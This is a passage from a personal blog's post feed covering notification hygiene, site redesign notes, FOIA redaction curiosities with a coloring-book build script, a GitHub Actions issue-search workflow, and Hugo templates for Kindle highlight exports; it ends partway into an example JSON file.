I noticed a minor trend of these intermittent link posts among Substack newsletters. I suspect that Substack’s easy monetization has played a role here — link posts reuse some ingredients that go into essays for extra content but still keeps readers engaged. This requires less effort than a new essay, but enough that some free blog authors don’t consider it worth doing.

Personally, my favorite format for reading are blogs of the first two types. I think this is easier to keep track of, especially as I may be looking briefly at my feed reader while I’m waiting on something else.

I track the links I want to post in my Raindrop account with a #linkblog tag. Irregularly, I pull them down via a Python script into a YAML file kept in Hugo site data. I add my commentary as minimal markdown in that YAML file, and a Hugo content adapter assembles the result into one page per link.

Reclaim notifications

Wed, 17 Dec 2025 06:45:00 -0600

Notifications serve the interests of whoever controls them. That whoever can be us, if we change them from their defaults. These are steps I think everyone ought to take.

Disable almost all smart watch notifications.

I see people all the time with Slack or Gmail tapping their wrist — the signal/noise ratio is way too low to allow this level of interruption. Even texts are not worth it: if the medium is inherently asynchronous, be ok with that.

Which ones are actually good on the watch?
- Real-time, intentional interruptions like well-curated calendar alerts
- Context-relevant suggestions like workout intervals and turn-by-turn directions
Everything else: prohibit.
Turn off notifications for the news.

I can’t believe people tolerate CNN pushing alerts to their phone. Unless you’re in a very specific profession, nothing good can come from this. I am told that some people actually send these to their smart watch.

YES! Interrupt time with my loved ones to tell me something upsetting I can't control.

Deranged.
Aggressively filter emails.

Categorization by computer saves precious human attention. Anything that doesn’t require an action should be filtered out or deleted. You can create long filters that relegate messages like terms of service updates, receipts, paperless billing statements, and delivery order notifications into a folder that you never need to see (unless you’re looking for it). You control where these needy messages go, and they can’t do anything about it.

Do not let fear prevent you from filtering work emails. Good filters help you focus more on the important things, and if your filter does misfire the restitution is the most banal apology on earth: “oh sorry, I didn’t see that email”. You’re saying it anyway, so put it to work for you. You can also write filters to mark some emails as high priority if you’re worried about false positives from e.g. bosses and clients.
Filters from my personal Fastmail account
Allow an app to have notification privileges only as long as it has a 100% hit rate.

The first time you get an unwanted notification, go try and turn off notifications of that type. If the app doesn’t allow you to discriminate between useful and useless messages, permanently disable them all.

This means I have prohibited notification permission to apps like Grubhub, Uber, all airline apps, all bank apps, Facebook, Instagram, TikTok, grocery delivery, Newegg, and more. These apps sometimes have useful notifications I want, but if they are also sending me marketing messages or engagement bait, they lose the privilege forever.
The basics:
- Unsubscribe from text and email marketing whenever it appears.
- Get a spam call/text blocker like Nomorobo.

Generally, consider whether planning time to pull from a source on your schedule would solve the problem better than letting the source push an interruption to you on its schedule. If, for example, you are cursed by god with a professional need to stay on top of the news every day, try blocking time to spend on just that. Or if you there are email newsletters you want to receive, send them to a feed reader like Feedbin which you open at the right time for you. This protects your focus.

At the beginning, it seems like taking control of the deluge will never help — maybe you’re somehow signing up for marketing lists faster than you can click unsubscribe. It does add up, though, and it will pay off in a few weeks. It’s tempting to use a Sisyphean metaphor for this, but I think it’s actually more like cleaning your house. Entropy comes for us all in the end, but it is worth pushing against it while we have to live here.

Write a comment on the original post.

Site updates December 2025

Mon, 15 Dec 2025 07:45:00 -0600

I’ve made a few changes to this site.

Design updates

Fewer roundrects, more sharp corners. Fewer random colors, more consistency. An ever-so-slightly more peaceful design.

I softened what was formerly pure black and pure white, making both light and dark mode more pleasant. I also darkened the highlight color in dark mode, so that it stands out less against the background, matching light mode behavior.

Screenshots

I also spent some time playing with fonts but couldn’t find something I liked better than Lato.

I have of course noticed that serif fonts are really back on the web now, and spent some time trying them out. For this website, I hate them. Some fuse in my head got blown back in 2005 equating sans serif fonts with modern, digital-first text; no matter how hard I try, I can’t look at Source Serif without tasting a high school paper set in Times New Roman a little bit. This isn’t always true when I am browsing someone else’s website focusing on the content, but whenever I am paying attention to typography, it’s there.

Projects, blog, and TIL layouts

I did a facelift of the projects page, including images for more projects and a nicer display on wide screens. I also added a metadata box to all individual project pages (e.g. KeymapKit) to consistently display links to code and documentation, current status, etc.

Updates for the blog and til pages to make links look more consistent across the site.

Screenshots

New project pages and updates

MindFort, an iOS app for password memorization. Unfinished.
LightPulse, a prototype for running Hugo inside an iOS app for on-device previews. Very rough proof of concept, not directly useful in its current form.
chineseroom, a belated page for the LLM agent sandbox VM I use (which I discussed in a previous post but didn’t create a project page for at the time).
micahandadoria.com, the site I built for my wedding. Currently live at https://micahandadoria.com, future status TBD.
Lightmarks already existed, but I used to link out to an imgur gallery of screenshots and videos. No longer: those are now hosted on this site and displayed inline.

Going forward, I’d like to have a more intentional visual history of GUI projects, so I can see how they evolved. Right now a few projects have screenshots; it would be great to arrange those in some kind of timeline so I can see how a project’s UI changed over time. I notice that it’s fun to find random screenshots of this website on my hard drive and see what it used to look like. The new on-site Lightmarks gallery and this very post are steps in that direction, but don’t accomplish the whole vision.

Image and video galleries

I added quick and easy galleries that support both images and videos. See examples on the Lightmarks project page and the redacted coloring book gallery.

I built the original version of this for the wedding project page, adapted it for this site, and added video support (so far only used for screencasts).

It use Hugo’s thumbnail generation when possible, but also supports generating thumbnails in advance, which is necessary when working with video files or image types that Hugo doesn’t support yet, like AVIF.

It draws a nice play button on top of video links to indicate the content type.

Screenshot

Removed most of `twarchive`

The twarchive project is dead or at least in a coma, and I realized that the pages take a long time for Hugo to render. I’ve ripped out the theme entirely, but all the existing archives still work. This means I can’t add new tweets, but I haven’t been able to add new tweets for a while now, ever since the Twitter API v1 got deprecated.

Twarchive produced downloadable and completely standalone files for each tweet, so this was easy: I built the site the old way, copied the generated tweet archive files into the static directory, and removed the theme and the content files that created them.

Nothing has changed about my full archive at https://tweets.micahrl.com, which still uses the twarchive theme.

I decided I hated seeing my developer toolbar all the time while working on the site, so I hid it behind a keyboard shortcut. And, well, now there’s no reason to prevent it from going to production, so you can press opt-d to see it on any page if you want to for some reason. There have been a few changes to it since that last blog post on the topic, too.

Screenshot

Write a comment on the original post.

Bibliographer supports Raindrop.io highlights

Wed, 10 Dec 2025 17:00:00 -0600

bibliographer has grown support for importing https://raindrop.io highlights.

Raindrop is a nice bookmarking and archiving service, but I subscribed specifically for its support for annotating web pages, which works on both desktop and mobile browsers. (AFAIK, the only other web highlighting service is https://hypothes.is, which doesn’t support mobile very well.)

Everything I highlight with Raindrop is now saved to the references section on an ad-hoc basis.

If you want something similar for your site, bibliographer saves individual annotations (highlights and comments) as a JSON file, which can be read as site data in Hugo. Alternatively, writing something yourself against the Raindrop API is dead simple — no oauth required for personal use!

This is pretty different from bibliographer’s support for tracking the books I read, so I remain a bit uncertain that adding this functionality — rather than making a brand new tool — is the right move. But there was enough overlap in shared code that I decided to do it anyway.

References

How to annotate literally everything inspired the functionality in the first place. I’ve wanted something like this for web highlights ever since I read that post, but haven’t had a way to annotate web sites from my phone until I recently subscribed to Raindrop.
I Wish People Were More Public inspired me to write this post about it. At first, I planned to just link to the references in other posts if that ever seemed useful, but when I found myself highlighting a few passages on that article, I realized I had to be more explicit.

Write a comment on the original post.

Favorite redactions

Mon, 08 Dec 2025 07:00:00 -0600

What are your favorite redactions? These are mine.

As the government explained

From a redacted brief (aclu.org, local mirror) in an ACLU case, h/t Adam Klasfeld.

FBI retirement party

A photocopied cache of redacted photographs and documents related to the retirement party of someone who worked at the FBI, including a truly surreal PowerPoint presentation. Originally FOIA’d by Brad Heath at USA Today, and released to the public by J.K. Trotter at Gawker in 2014.

I made a coloring book out of these. That page also contains links to an archive of the entire FOIA response as released by Gawker.

Guantanamo artwork

Redacted art work from Guantanamo detainees, FOIA’d by Jason Leopold.

No snack car

From a FOIA request by Conor Skelding of all complaints about Amtrack lounge cars during a two year period. Local mirror of response documents:

Write a comment on the original post.

Redacted coloring book

Sun, 07 Dec 2025 07:30:00 -0600

In 2014 Brad Heath at USA Today received documents from the FBI in response to a FOIA request. He published at least one on Twitter, and J.K. Trotter at Gawker later published the whole set on spammy PDF hosting site Scribd. Included are several PDFs containing emails, one containing photographs, and one containing a PowerPoint presentation. The photos and slide deck are apparently printed in black and white at extremely low resolution and/or copies-of-copies with significant artifacts.

The result is surreal.

Coloring book

Naturally, I turned it into a coloring book.

FBI ████████ Retirement Party Coloring Book PDF

Download

This browser can’t display PDFs inline, but you can still download the PDF.

This consists of a cover page plus all the slides and photographs in letter paper size. I don’t include the emails because there isn’t an easy way to programmatically find the interesting ones, of which there are only a handful among hundreds of pages.

Sources

See the full gallery for individual images of the photograph and powerpoint PDF pages, or download the original PDFs linked below.

Document	Original link	Local archive	Internet Archive
Brad Heath tweet	Twitter	HTML	HTML
Gawker article	Gawker (dead)	PDF	HTML
Emails-Section-1.pdf	Scribd	PDF	PDF
Emails-Section-2.pdf	Scribd	PDF	PDF
Emails-Section-3.pdf	Scribd	PDF	PDF
Emails-Section-4.pdf	Scribd	PDF	PDF
Emails-Section-5.pdf	Scribd	PDF	PDF
Emails-Section-6.pdf	?	PDF	PDF
Emails-Section-7.pdf	?	PDF	PDF
Photographs-Section-1.pdf	Scribd	PDF	PDF
Powerpoint-Section-1	Scribd	PDF	PDF

A few notes about the above:

I can only find that one tweet from Brad Heath about these documents
I can’t find any USA Today reporting on this anywhere, would love to see that if it exists
I didn’t know that parts 6 and 7 of the email archives existed until I found the Internet Archive copy of the PDFs when writing this post, and I don’t know how to find the original links for parts 6 and 7 on Scribd (assuming they’re legitimate)
My local copies of the Gawker article and FOIA PDFs for Emails 1-5, Photographs, and Powerpoint were saved 2014-07-10 from Scribd, and my local copies of FOIA PDFs for Emails 6-7 were saved 2025-12-06 from the Internet Archive

Coloring book creation details

I made a cover page in a word processor, and copied successive generations of it until it introduced a bunch of artifacts.

This script generates images for the gallery and the final coloring book PDF. The pages in the photographs PDF are in landscape orientation, while the pages in the powerpoint PDF are in portrait, so I have to do a little processing to get two landscape photos in a portrait page. (This is pretty weird to me but here we are.)

coloringbook.sh

#!/bin/sh
set -eu

make_portrait_2up_photos_pdf() {
    # Letter at 300 dpi
    dpi=300
    page_w=2550   # 8.5 * 300
    page_h=3300   # 11  * 300

    margin=150    # 0.5" at 300 dpi
    gap=150       # vertical gap between the two images

    inner_w=$((page_w - 2*margin))           # width available for each image
    inner_h_each=$(((page_h - 3*margin)/2))  # height available for each image

    y1=$margin
    y2=$((margin + inner_h_each + gap))

    tmpdir=$(mktemp -d)
    trap 'rm -rf "$tmpdir"' EXIT

    i=0
    page=1


    while :; do
        img1=$(printf 'gallery/photographs-%03d.png' "$i")
        [ -f "$img1" ] || break

        i2=$((i + 1))
        img2=$(printf 'gallery/photographs-%03d.png' "$i2")
        outfile=$(printf '%s/page-%03d.png' "$tmpdir" "$page")

        if [ -f "$img2" ]; then
            # Two images → full 2-up page
            magick -size ${page_w}x${page_h} xc:white \
                -units PixelsPerInch -density "$dpi" \
                \( "$img1" -resize "${inner_w}x${inner_h_each}" -background white -gravity center -extent "${inner_w}x${inner_h_each}" \) \
                    -gravity northwest -geometry +${margin}+${y1} -composite \
                \( "$img2" -resize "${inner_w}x${inner_h_each}" -background white -gravity center -extent "${inner_w}x${inner_h_each}" \) \
                    -gravity northwest -geometry +${margin}+${y2} -composite \
                "$outfile"
            i=$((i + 2))
        else
            # Odd image out → centered on its own page, bigger box
            bigger_h=$((2*inner_h_each + gap))
            magick -size ${page_w}x${page_h} xc:white \
                -units PixelsPerInch -density "$dpi" \
                \( "$img1" -resize "${inner_w}x${bigger_h}" -background white -gravity center -extent "${inner_w}x${bigger_h}" \) \
                    -gravity northwest -geometry +${margin}+${y1} -composite \
                "$outfile"
            i=$((i + 1))
        fi

        page=$((page + 1))
    done
}

mkdir -p gallery

# Photos are a single CCIT per PDF page, convert to PNG directly
# These images are used in the gallery
pdfimages -png originals/233258474-1258341-0-Photographs-Section-1.pdf gallery/photographs

# Slides contain composite images, render PDF and convert each page to PNG
# These images are used in the gallery and to create the coloring book
magick -density 300 originals/233260561-1258341-0-Powerpoint-Section-1.pdf gallery/powerpoint-%02d.png

# Create new PNG images containing two landscape photos per portrait page
# This orients the photos the same way that the powerpoint slides are oriented
make_portrait_2up_photos_pdf

# Create PDF from the 2-up PNG images
img2pdf "$tmpdir"/page-*.png -o "$tmpdir"/output-2up-letter.pdf

# Combine with coverpage and original PDF
pdfunite \
    coloringbook/coverpage.pdf \
    originals/233260561-1258341-0-Powerpoint-Section-1.pdf \
    "$tmpdir"/output-2up-letter.pdf \
    coloringbook/coloringbook.pdf

Write a comment on the original post.

Wrapping paper

Sun, 30 Nov 2025 14:30:00 -0600

One of my very favorite parts about Christmas is the wrapping.

The first step is paper selection. Two specific recommendations: Paper Source which I tend to visit in person for very fine single sheets, and Society6 which has infinite variety but ships a little slow. I tend to keep brown paper on hand, especially for bulky items, and I also buy metalic/reflective paper from Walmart etc whenever is convenient.

I try to put ribbon on every gift if I can. It adds class and color, and can help keep tape from failing too.

I enjoy adding extra trinkets to the wrapping. My favorite ones are small gifts of their own:

bracelet around the neck of an anniversary champagne bottle
enamel pin depicting a character in a game I’ve wrapped
cocktail skewers that go with the glasses I’m giving
action figures or other toys for kids

Occasionally, the gift wrap itself can be part of a gift. My grandmother appreciated a gift wrapped in Mexican oilcloth and held together with a colorful duct tape. (Wish I had a picture of this.)

Sometimes I’ll add translucent cellophane, Washi tape, or patches of fabric or other wrapping paper after finishing a gift, especially if the paper is relatively plain. One member of my extended family has a signature style of brown paper decorated with ink stamps and tied with twine, which always looks so nice.

“Red envelopes” (found in other colors too, I have some yellow ones in these photos), those colorful packets that sometimes wrap cash gifts in some Asian countries, are perfect for gift certificates, event tickets, digital goods, and so forth.

Finally, on tape: The advice about only ever needing three pieces of tape per gift is fine if the recipient is a toddler that you don’t like very much. If you want it to look good, though, use plenty of tape wherever you need to keep paper taut or a fold crisp. Keep copious amounts of both single- and double- sided tape on hand at all times.

You don’t need to buy invisible tape; clear tape should never be placed on the outside of a gift. If hidden tape isn’t sufficient, augment with ribbon, decorative tape (washi tape, patterned duct tape, etc), or an intentional wrapping paper patch.

Write a comment on the original post.

Typography, CSS, and wrapping paper

Sat, 29 Nov 2025 08:00:00 -0600

I’m not a professional web designer or frontend developer at all, but I really enjoy working with CSS. That wasn’t always the case; at first I found it very frustrating. But as I practiced working with it, and as it improved over time, I’ve come to really like using it.

Similarly, spending time trying and tweaking fonts is a lot of fun. I’ve definitely spent hours on Google Fonts trying different options for a new project.

I’ve always wanted to learn how to draw, but never stuck with it through the learning phase during which my work sucks. But working with CSS and selecting fonts got me into a tight enough improvement feedback loop that it seems like it satisfies some of that creative visual urge.

I think this is also why I love wrapping paper. It’s a craft that I can make look good without much skill, just a small amount of practice and selecting paper and supporting materials that look good to me visually.

Write a comment on the original post.

Automated GitHub Issues search

Sat, 08 Nov 2025 05:45:00 -0600

Terence Eden wanted to know if his website was ever mentioned in a GitHub issue. This sounded like a good way to procrastinate, so I decided that I wanted to know that too.

In pursuit of that goal, I couldn’t stop myself from making a few improvements:

I added support for more than one search term
I added the ability to find more than one result per run, which also means we don’t have to run it as often.
I put all the logic into JavaScript, which avoids bash and combines several steps into one. I also split that JavaScript out into a separate file which keeps the workflow file small and makes the logic easier to edit in an IDE.

GitHub workflow

name: API Issue Watcher

on:
  schedule:
    # Once per day at 05:39 UTC, picked a random time that wasn't on minute 0
    - cron: "39 5 * * *"
  # Allow manual triggering from GitHub UI from the master branch
  workflow_dispatch:
    branches:
      - master
  # Automatically run on every push to master branch
  push:
    branches:
      - master

permissions:
  issues: write
  contents: write

jobs:
  watch-and-create:
    runs-on: ubuntu-latest
    env:
      # JSON array of search terms to query GitHub API
      # Each search term will be queried separately
      SEARCH_TERMS: '["micahrl.com", "keymap.click"]'
      # ASSIGN_USER: mrled

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Restore latest seen ID
        id: cache-latest
        uses: actions/cache@v4
        with:
          path: .github/latest_seen.txt
          key: latest-seen

      - name: Fetch items from API and process new ones
        id: fetch
        uses: actions/github-script@v7
        with:
          github-token: ${{ secrets.MY_PAT }}
          script: |
            const script = require('./script.js');
            await script({ github, context, core });

      - name: Update cache with new latest seen ID
        if: steps.fetch.outputs.HAS_NEW_ITEMS == 'true'
        run: |
          echo "Updated latest seen ID, cache will be saved"

      - name: Save cache
        uses: actions/cache@v4
        with:
          path: .github/latest_seen.txt
          key: latest-seen

JavaScript logic

/**
 * Fetch items from GitHub API and create issues for new ones
 *
 * This script is used by the API Issue Watcher GitHub Action to:
 * 1. Fetch search results from GitHub API
 * 2. Compare with previously seen items
 * 3. Create new issues for any new search results
 * 4. Update the latest seen ID
 */

const fs = require("fs");

/**
 * Read the last seen IDs from cache file
 * @returns {Object} Object mapping search terms to their last seen IDs
 */
function readLastSeenIds() {
  try {
    const content = fs.readFileSync(".github/latest_seen.txt", "utf8").trim();
    return JSON.parse(content);
  } catch (e) {
    console.log("No previous IDs found, will process all items");
    return {};
  }
}

/**
 * Save the last seen IDs to cache file
 * @param {Object} lastSeenIds - Object mapping search terms to their last seen IDs
 */
function saveLastSeenIds(lastSeenIds) {
  fs.mkdirSync(".github", { recursive: true });
  fs.writeFileSync(
    ".github/latest_seen.txt",
    JSON.stringify(lastSeenIds, null, 2),
  );
}

/**
 * Fetch items from GitHub API for a specific search term
 * @param {string} searchTerm - The search term to query
 * @returns {Promise<Array>} Array of items from the API response
 */
async function fetchItemsForSearchTerm(searchTerm) {
  const encodedTerm = encodeURIComponent(searchTerm);
  const response = await fetch(
    `https://api.github.com/search/issues?q=${encodedTerm}&s=created&order=desc`,
  );
  const data = await response.json();
  return data.items || [];
}

/**
 * Find new items that haven't been seen before
 * @param {Array} items - All items from the API
 * @param {string} lastSeenId - The ID of the last item we processed
 * @returns {Array} Array of new items
 */
function findNewItems(items, lastSeenId) {
  const newItems = [];
  for (const item of items) {
    if (item.id.toString() === lastSeenId) {
      break;
    }
    newItems.push(item);
  }
  return newItems;
}

/**
 * Create GitHub issues for new items
 * @param {Array} items - Items to create issues for
 * @param {string} searchTerm - The search term that found these items
 * @param {Object} github - GitHub API client
 * @param {Object} context - GitHub Actions context
 * @param {string} assignUser - Username to assign the issue to
 */
async function createIssuesForItems(
  items,
  searchTerm,
  github,
  context,
  assignUser,
) {
  // Process in reverse order so oldest is created first
  for (const item of items.reverse()) {
    console.log(`Creating issue for: ${item.title}`);

    // Format body as block quote
    const quotedBody = item.body
      ? item.body
          .split("\n")
          .map((line) => `> ${line}`)
          .join("\n")
      : "";

    await github.rest.issues.create({
      owner: context.repo.owner,
      repo: context.repo.repo,
      title: `[API: ${searchTerm}] ${item.title}`,
      body: `Found new item: [${item.title}](${item.html_url})\n\n${quotedBody}`,
      assignees: assignUser ? [assignUser] : [],
    });
  }
}

/**
 * Process a single search term: fetch items, find new ones, and create issues
 * @param {string} searchTerm - The search term to process
 * @param {string} lastSeenId - The last seen ID for this search term
 * @param {Object} github - GitHub API client
 * @param {Object} context - GitHub Actions context
 * @param {string} assignUser - Username to assign the issue to
 * @returns {Promise<Object>} Object with newItemsCount and latestId
 */
async function processSearchTerm(
  searchTerm,
  lastSeenId,
  github,
  context,
  assignUser,
) {
  console.log(`\n=== Processing search term: "${searchTerm}" ===`);
  console.log(`Old ID for "${searchTerm}": ${lastSeenId || "(none)"}`);

  // Fetch items from API
  const items = await fetchItemsForSearchTerm(searchTerm);
  console.log(`Total items found: ${items.length}`);

  if (items.length === 0) {
    console.log(`No items found for "${searchTerm}"`);
    return { newItemsCount: 0, latestId: null };
  }

  // Find new items
  const newItems = findNewItems(items, lastSeenId);
  console.log(`New items to process: ${newItems.length}`);

  // Create issues for new items
  if (newItems.length > 0) {
    await createIssuesForItems(
      newItems,
      searchTerm,
      github,
      context,
      assignUser,
    );
    const latestId = items[0].id.toString();
    console.log(`Updated latest seen ID for "${searchTerm}" to: ${latestId}`);
    return { newItemsCount: newItems.length, latestId };
  }

  return { newItemsCount: 0, latestId: null };
}

/**
 * Main coordination function - processes all search terms
 */
module.exports = async ({ github, context, core }) => {
  // Parse configuration
  const searchTerms = JSON.parse(process.env.SEARCH_TERMS || "[]");
  const assignUser = process.env.ASSIGN_USER;

  if (searchTerms.length === 0) {
    console.log("No search terms configured");
    core.setOutput("NEW_ITEMS_COUNT", 0);
    core.setOutput("HAS_NEW_ITEMS", "false");
    return;
  }

  console.log(
    `Processing ${searchTerms.length} search term(s): ${searchTerms.join(", ")}`,
  );

  // Read last seen IDs
  const lastSeenIds = readLastSeenIds();

  // Process each search term
  let totalNewItemsCount = 0;
  let hasAnyNewItems = false;

  for (const searchTerm of searchTerms) {
    const lastSeenId = lastSeenIds[searchTerm] || "";
    const { newItemsCount, latestId } = await processSearchTerm(
      searchTerm,
      lastSeenId,
      github,
      context,
      assignUser,
    );

    if (newItemsCount > 0) {
      lastSeenIds[searchTerm] = latestId;
      totalNewItemsCount += newItemsCount;
      hasAnyNewItems = true;
    }
  }

  // Save results and set outputs
  if (hasAnyNewItems) {
    saveLastSeenIds(lastSeenIds);
    console.log(`\n=== Summary ===`);
    console.log(
      `Total new items across all search terms: ${totalNewItemsCount}`,
    );
    core.setOutput("NEW_ITEMS_COUNT", totalNewItemsCount);
    core.setOutput("HAS_NEW_ITEMS", "true");
  } else {
    console.log("\n=== Summary ===");
    console.log("No new items found for any search term");
    core.setOutput("NEW_ITEMS_COUNT", 0);
    core.setOutput("HAS_NEW_ITEMS", "false");
  }
};

To make this work:

Create a new repository.
Save the JavaScript logic to script.js in the repository root and the workflow YAML to .github/workflows/search.yml.
Set repository to private (so that it doesn’t notify all the repos it links to in issues).
Give actions read and write permissions under Repository Settings -> Actions -> General.
Create a new Personal Access Token.
- GitHub Settings → Developer settings → Personal access tokens → Fine-grained tokens.
- Set scope to the repo in question, and allow Read and write to Contents and Issues.
Add token as secret to this repo under name MY_PAT.
Configure the workflow by editing .github/workflows/search.yml:
- Set the cron schedule at the top to something that makes sense for you. It would be polite to run this on a minute that isn’t divisible by 5.
- Set SEARCH_TERMS to a JSON array of search terms to monitor.
- Set ASSIGN_USER to the GitHub username that should be assigned to new issues, if you like.

Write a comment on the original post.

Kindle Notebook export

Fri, 07 Nov 2025 07:25:00 -0600

The whole ebook/ereader ecosystem just bums me out whenever I think about it.

For instance, there is a “Kindle Notebook” feature which saves highlights and notes you make in Kindle books, but getting these annotations out of the Kindle is a humiliating experience. You have to either log in to the Kindle Cloud Reader web application and pull the highlights from JavaScript, or log in to a Kindle app and email yourself an HTML file. Each of these options require individually navigating to a book and going through steps in a GUI. (You used to have a third sad option, to connect your Kindle with a cable (!) and copy a text file off of it, but this is no longer possible with modern Kindles.)

The methods all produce different results, of course. Highlights for books you bought from the Kindle store sync to the Kindle Cloud Reader, but highlights from books you add outside of the Kindle store sync only between native apps (e.g. macOS and iOS; I assume Android and Windows too). Via Bookcision you can get structured data from the Cloud Reader, but the official export from Kindle comes only in HTML that doesn’t even associate a user’s notes with highlights from the text of the book.

And you might think, well, highlights and notes in physical books are also sort of constrained to the medium, maybe it makes sense that Amazon constrains Kindle highlights and notes to their ecosystem as well? But this is unsatisfying for two reasons:

It’s an artificial limitation by Amazon that restricts users, not an inherent limitation of the technology
Physical books have the advantage of being physically manipulable: you can add sticky notes as tabs and flip through pages very quickly to find annotations, but this is extremely inconvenient for ebooks

Book publishers also do their best to become a villain in this story (although as usual they’re too insignificant a player for anyone to notice): they set a limit on the amount of a book you can highlight, and if you highlight more than this amount, exporting your highlights will be truncated. One might think this is a reasonable compromise as long as its set high enough, because someone could extract the whole text of a book this way, but only if they hadn’t thought about this issue even a tiny bit. For a user to accomplish this, they’d have to painstakingly highlight the entire book across thousands of page turns, and what they’d have to show for it is a giant text blob stripped of newlines and formatting. Why would anyone do this in a world where Anna’s Archive already has a full fidelity copy of the book for free?

In my limited experience, this doesn’t matter; books seem to allow highlighting at least 10% of total content, and you probably can’t make use of even that amount. Still, it’s a pathetic waste of everyone’s time, and Amazon has managed to fuck up its implementation between apps, showing different values for the amount you’re allowed to export depending on whether you’re trying to do it from the Cloud Reader or a native app.

Anyway, I have added Kindle Notebook exports to relevant pages in the books section. The site can now parse exports from both Bookcision and the Kindle apps.

Like the rest of the books section, I think this will be more useful to me than to anyone else. Highlights aren’t really valuable on their own, but my highlights help remind me of something that I remember was important. It’ll be nice to be able to find them easily with cmd-f.

Here’s how it works under the hood.

The bookcision.html partial parses Bookcision exports

This is called from the book template.

{{- range $index, $hilite := .highlights -}}
<figure>
  {{- with $hilite.text }}
    <blockquote>{{ . }}</blockquote>
  {{- end }}

  {{- with $hilite.note }}
    <aside class="note">{{ . }}</aside>
  {{- end }}

  {{- with $hilite.location -}}
  <figcaption>
    Loc {{ .value }}
  </figcaption>
  {{- end -}}
</figure>
{{- end -}}

The kindleNotebook.html partial parses exports from the Kindle apps

This is a horrible partial that parses HTML with regex, cobbled together with ChatGPT. If Amazon ever changes their export format, it’ll break.

It is called from the book template.

{{/* Usage: {{ partial "bookKindleNotebook.html" (dict "res" $kindleResource) }} */}}
{{- $res := .res -}}
{{- $raw := readFile $res.File.Filename -}}

{{/* Match:
     - <div class="sectionHeading">Section</div>
     - <div class="noteHeading">Heading</div><div class="noteText">Text</div>
*/}}
{{- $re := `(?s)<div class="(sectionHeading|noteHeading)">\s*(.+?)\s*</div>(?:\s*<div class="noteText">\s*(.+?)\s*</div>)?` -}}
{{- $matches := findRE $re $raw -}}
{{- $count := len $matches -}}

{{- $consumed := newScratch -}}

<article class="book-notes">
  {{- range $i, $m := $matches }}
    {{- $idx := printf "%d" $i -}}

    {{- if not ($consumed.Get $idx) }}
      {{- $class := replaceRE $re "$1" $m -}}
      {{- $content1 := replaceRE $re "$2" $m -}}
      {{- $content2 := replaceRE $re "$3" $m | default "" -}}

      {{- if eq $class "sectionHeading" }}
        <h3>{{ $content1 | safeHTML }}</h3>

      {{- else if eq $class "noteHeading" }}
        {{- $heading := $content1 -}}
        {{- $text := $content2 -}}

        {{- $isHighlight := in $heading "Highlight(" -}}
        {{- $isNoteHeading := and (not $isHighlight) (hasPrefix $heading "Note -") -}}

        {{- if $isHighlight }}
          {{- $page := replaceRE `(?s).*Page\s+([0-9]+).*` "$1" $heading | default "" -}}
          {{- $loc  := replaceRE `(?s).*Location\s+([0-9]+).*` "$1" $heading | default "" -}}

          {{- $noteText := "" -}}

          {{/* Look ahead for an attached Note entry */}}
          {{- $nextIndex := add $i 1 -}}
          {{- if lt $nextIndex $count }}
            {{- $next := index $matches $nextIndex -}}
            {{- $nextClass := replaceRE $re "$1" $next -}}
            {{- $nextHeading := replaceRE $re "$2" $next -}}
            {{- $nextBody := replaceRE $re "$3" $next | default "" -}}

            {{- $nextIsNote := and (eq $nextClass "noteHeading") (hasPrefix $nextHeading "Note -") -}}
            {{- if $nextIsNote }}
              {{- $notePage := replaceRE `(?s).*Page\s+([0-9]+).*` "$1" $nextHeading | default "" -}}
              {{- $noteLoc  := replaceRE `(?s).*Location\s+([0-9]+).*` "$1" $nextHeading | default "" -}}

              {{/* Heuristic:
                    - Page matches or is missing on one side
                    - Location equal or slightly ahead (<= 10) if both present
              */}}
              {{- $pageOK := or (eq $page "") (eq $notePage "") (eq $page $notePage) -}}
              {{- $locOK := or
                    (eq $loc "")
                    (eq $noteLoc "")
                    (and
                      (ne $loc "")
                      (ne $noteLoc "")
                      (ge (sub (int $noteLoc) (int $loc)) 0)
                      (le (sub (int $noteLoc) (int $loc)) 10)
                    )
                -}}

              {{- if and $pageOK $locOK }}
                {{- $noteText = $nextBody -}}
                {{- $consumed.Set (printf "%d" $nextIndex) true -}}
              {{- end -}}
            {{- end -}}
          {{- end -}}

          <figure {{ with $page }}data-page="{{ . }}"{{ end }} {{ with $loc }}data-location="{{ . }}"{{ end }}>
            {{- if $text }}
              <blockquote>{{ $text | safeHTML }}</blockquote>
            {{- end }}
            {{- if $noteText }}
              <aside>{{ $noteText | safeHTML }}</aside>
            {{- end }}
            <figcaption>
              {{- with $page }}Page {{ . }}{{ end -}}
              {{- if and $page $loc }}, {{ end -}}
              {{- with $loc }}Location {{ . }}{{ end -}}
            </figcaption>
          </figure>

        {{- else if $isNoteHeading }}
          {{/* Standalone note not paired to a highlight */}}
          {{- $page := replaceRE `(?s).*Page\s+([0-9]+).*` "$1" $heading | default "" -}}
          {{- $loc  := replaceRE `(?s).*Location\s+([0-9]+).*` "$1" $heading | default "" -}}

          <figure class="note-only" {{ with $page }}data-page="{{ . }}"{{ end }} {{ with $loc }}data-location="{{ . }}"{{ end }}>
            {{- if $text }}
              <aside>{{ $text | safeHTML }}</aside>
            {{- end }}
            <figcaption>
              {{- with $page }}Page {{ . }}{{ end -}}
              {{- if and $page $loc }}, {{ end -}}
              {{- with $loc }}Location {{ . }}{{ end -}}
            </figcaption>
          </figure>

        {{- else }}
          {{/* Fallback for any odd noteHeading formats */}}
          <figure>
            {{- if $text }}
              <blockquote>{{ $text | safeHTML }}</blockquote>
            {{- end }}
          </figure>
        {{- end }}
      {{- end }}
    {{- end }}
  {{- end }}
</article>

The book template

This template is used to render each individual book.

It looks for a bookcision.json and/or kindle-notebook.html file in each book’s page bundle, and calls the appropriate partial if one is present.

{{- define "main" }}

<section class="book-metadata">
  {{ partial "bookMetadata.html" . }}
  {{ partial "bookCover.html" . }}
</section>

<section>
  {{ .Content }}
</section>

{{- if not .Params.NoHighlights }}
  {{ $bookcision := .Resources.Get "bookcision.json" | transform.Unmarshal }}
  {{- with $bookcision }}
    <h2>Highlights and Notes</h2>
    {{ partial "bookcision.html" . }}
  {{- end }}
  {{ $kindleNotebookExport := .Resources.Get "kindle-notebook.html" }}
  {{- if $kindleNotebookExport }}
    <h2>Kindle Notebook Export</h2>
    {{ partial "bookKindleNotebook.html" (dict "res" $kindleNotebookExport) }}
  {{- end }}
{{- end }}

{{- end }}

Example bookcision.json file

An example JSON export from Bookcision

{
  "asin": "B00KWG9M2E",
  "title": "Getting Things Done: The Art of Stress-Free Productivity",
  "authors": "David Allen and James Fallows",
  "highlights": [
    {
